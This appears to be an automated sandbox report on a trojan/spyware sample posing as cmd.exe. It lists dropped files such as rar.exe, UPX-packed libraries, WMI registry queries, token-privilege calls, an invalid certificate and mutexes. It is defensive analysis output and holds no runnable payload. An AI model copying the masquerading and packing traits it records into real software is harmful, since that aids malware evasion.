Source: cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C917A04000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: cmd.exe, 00000001.00000002.2097860677.000001C916A25000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096563852.000001C916829000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2092429001.000001C916827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Source: cmd.exe

Process created: 50

System Summary

Writes or reads registry keys via WMI

Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue

Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe

Code function: 65_2_00007FF69A403A70: CreateFileW,CreateFileW,DeviceIoControl,CloseHandle,

65_2_00007FF69A403A70

Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe

Code function: 65_2_00007FF69A42B57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,

65_2_00007FF69A42B57C

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AEF8BD0	0_2_00007FF70AEF8BD0
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF169D4	0_2_00007FF70AF169D4
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AEF1000	0_2_00007FF70AEF1000
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF01BC0	0_2_00007FF70AF01BC0
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF15C70	0_2_00007FF70AF15C70
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF13C80	0_2_00007FF70AF13C80
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF16488	0_2_00007FF70AF16488
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF10938	0_2_00007FF70AF10938
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AEFA34B	0_2_00007FF70AEFA34B
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AEFA4E4	0_2_00007FF70AEFA4E4
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF02C80	0_2_00007FF70AF02C80
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF03A14	0_2_00007FF70AF03A14
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF021D4	0_2_00007FF70AF021D4
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF019B4	0_2_00007FF70AF019B4
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF0DACC	0_2_00007FF70AF0DACC
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF1411C	0_2_00007FF70AF1411C
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF10938	0_2_00007FF70AF10938
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF08154	0_2_00007FF70AF08154
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF01FD0	0_2_00007FF70AF01FD0
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF017B0	0_2_00007FF70AF017B0
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF118E4	0_2_00007FF70AF118E4
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF0DF60	0_2_00007FF70AF0DF60
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF19798	0_2_00007FF70AF19798
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AEF9870	0_2_00007FF70AEF9870
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF08804	0_2_00007FF70AF08804
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF03610	0_2_00007FF70AF03610
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF01DC4	0_2_00007FF70AF01DC4
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF05DA0	0_2_00007FF70AF05DA0
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF15EEC	0_2_00007FF70AF15EEC
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF09F10	0_2_00007FF70AF09F10
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AEFAD1D	0_2_00007FF70AEFAD1D
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF0E5E0	0_2_00007FF70AF0E5E0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFD98D03027	10_2_00007FFD98D03027
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3EABA0	65_2_00007FF69A3EABA0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3F0A2C	65_2_00007FF69A3F0A2C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A417B24	65_2_00007FF69A417B24
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A40AE10	65_2_00007FF69A40AE10
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3F54C0	65_2_00007FF69A3F54C0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3F1180	65_2_00007FF69A3F1180
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3E82F0	65_2_00007FF69A3E82F0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3E1884	65_2_00007FF69A3E1884
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3EB540	65_2_00007FF69A3EB540
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A439B98	65_2_00007FF69A439B98
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A424B38	65_2_00007FF69A424B38
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3F8C30	65_2_00007FF69A3F8C30
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A425C8C	65_2_00007FF69A425C8C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3EDD04	65_2_00007FF69A3EDD04
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A436D0C	65_2_00007FF69A436D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A409D0C	65_2_00007FF69A409D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A410D20	65_2_00007FF69A410D20
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A40D97C	65_2_00007FF69A40D97C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A4269FD	65_2_00007FF69A4269FD
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3E49B8	65_2_00007FF69A3E49B8
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A41FA6C	65_2_00007FF69A41FA6C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A425A70	65_2_00007FF69A425A70
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3ECB14	65_2_00007FF69A3ECB14
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A44AAC0	65_2_00007FF69A44AAC0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A44AF90	65_2_00007FF69A44AF90
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A415F4C	65_2_00007FF69A415F4C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A41C00C	65_2_00007FF69A41C00C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3F3030	65_2_00007FF69A3F3030
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A424FE8	65_2_00007FF69A424FE8
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A44DFD8	65_2_00007FF69A44DFD8
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A418040	65_2_00007FF69A418040
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A410074	65_2_00007FF69A410074
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A40C05C	65_2_00007FF69A40C05C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A400104	65_2_00007FF69A400104
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A4400F0	65_2_00007FF69A4400F0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A429D74	65_2_00007FF69A429D74
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3F1E04	65_2_00007FF69A3F1E04
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3EEE08	65_2_00007FF69A3EEE08
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A431DCC	65_2_00007FF69A431DCC
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3ECE84	65_2_00007FF69A3ECE84
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A42EEA4	65_2_00007FF69A42EEA4
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A42AE50	65_2_00007FF69A42AE50
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A43FE74	65_2_00007FF69A43FE74
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3F8E68	65_2_00007FF69A3F8E68
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A41AF0C	65_2_00007FF69A41AF0C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3E9EFC	65_2_00007FF69A3E9EFC
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3F2360	65_2_00007FF69A3F2360
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A410374	65_2_00007FF69A410374
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A40C3E0	65_2_00007FF69A40C3E0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A425468	65_2_00007FF69A425468
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A40D458	65_2_00007FF69A40D458
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3EA504	65_2_00007FF69A3EA504
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A422164	65_2_00007FF69A422164
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3FE21C	65_2_00007FF69A3FE21C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A4281CC	65_2_00007FF69A4281CC
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A4441CC	65_2_00007FF69A4441CC
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A4202A4	65_2_00007FF69A4202A4
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A407244	65_2_00007FF69A407244
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3EF24C	65_2_00007FF69A3EF24C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A432268	65_2_00007FF69A432268
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A431314	65_2_00007FF69A431314
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A43832C	65_2_00007FF69A43832C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3FD2C0	65_2_00007FF69A3FD2C0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3E42E0	65_2_00007FF69A3E42E0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3F17C8	65_2_00007FF69A3F17C8
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A4067E0	65_2_00007FF69A4067E0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3E8884	65_2_00007FF69A3E8884
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3F2890	65_2_00007FF69A3F2890
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A4318A8	65_2_00007FF69A4318A8
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A42190C	65_2_00007FF69A42190C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A410904	65_2_00007FF69A410904
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A41D91C	65_2_00007FF69A41D91C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A4138E8	65_2_00007FF69A4138E8
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A40F5B0	65_2_00007FF69A40F5B0
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3F8598	65_2_00007FF69A3F8598
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A41F59C	65_2_00007FF69A41F59C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A43260C	65_2_00007FF69A43260C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A4165FC	65_2_00007FF69A4165FC
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A437660	65_2_00007FF69A437660
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A41A710	65_2_00007FF69A41A710
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A420710	65_2_00007FF69A420710
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A422700	65_2_00007FF69A422700
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3F86C4	65_2_00007FF69A3F86C4
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A4486D4	65_2_00007FF69A4486D4

Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: String function: 00007FF69A3F8444 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: String function: 00007FF69A4249F4 appears 53 times
Source: C:\Users\user\Desktop\cmd.exe	Code function: String function: 00007FF70AEF2710 appears 52 times

Source: cmd.exe

Static PE information: invalid certificate

Source: cmd.exe	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: rar.exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: cmd.exe	Binary or memory string: OriginalFilename vs cmd.exe
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs cmd.exe
Source: cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000000.1697422056.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWPR.exen' vs cmd.exe
Source: cmd.exe, 00000000.00000003.1697672664.00000162C434F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs cmd.exe
Source: cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs cmd.exe
Source: cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs cmd.exe
Source: cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2107385871.00007FFE130CC000.00000004.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2107110070.00007FFE126F3000.00000004.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2104939736.00007FFE0146E000.00000004.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs cmd.exe
Source: cmd.exe, 00000001.00000000.1702552927.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWPR.exen' vs cmd.exe
Source: cmd.exe, 00000001.00000002.2105244168.00007FFE0EB6D000.00000004.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2104535149.00007FFDFB8A0000.00000004.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython310.dll. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2106592817.00007FFE11EEC000.00000004.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2102050539.00007FFDFAFF7000.00000004.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2103626383.00007FFDFB414000.00000004.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs cmd.exe
Source: cmd.exe, 00000001.00000002.2102504128.00007FFDFB0B3000.00000004.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamelibsslH vs cmd.exe
Source: cmd.exe, 00000001.00000002.2108506409.00007FFE1A467000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs cmd.exe
Source: cmd.exe, 00000001.00000002.2106257882.00007FFE11EBE000.00000004.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2105503765.00007FFE10313000.00000004.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2107931730.00007FFE13348000.00000004.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2107620418.00007FFE1330C000.00000004.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs cmd.exe
Source: cmd.exe, 00000001.00000002.2105816102.00007FFE11528000.00000004.00000001.01000000.0000000C.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs cmd.exe
Source: cmd.exe	Binary or memory string: OriginalFilenameWPR.exen' vs cmd.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Users\user\Desktop\cmd.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615
Source: C:\Users\user\Desktop\cmd.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615

Source: libcrypto-1_1.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9987754672181373
Source: libssl-1_1.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9903915229885057
Source: python310.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9989695677157001
Source: sqlite3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9974986001493175
Source: unicodedata.pyd.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9949597928113553

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@135/56@2/3

Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe

Code function: 65_2_00007FF69A3FCAFC GetLastError,FormatMessageW,

65_2_00007FF69A3FCAFC

Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3FEF50 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		65_2_00007FF69A3FEF50
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A42B57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,		65_2_00007FF69A42B57C

Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe

Code function: 65_2_00007FF69A403144 GetDiskFreeSpaceExW,

65_2_00007FF69A403144

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5416:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8788:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7364:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8140:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7772:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7372:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8864:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7920:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8248:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9160:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8412:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2936:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8616:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1260:120:WilError_03
Source: C:\Users\user\Desktop\cmd.exe	Mutant created: \Sessions\1\BaseNamedObjects\v
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8120:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7244:120:WilError_03
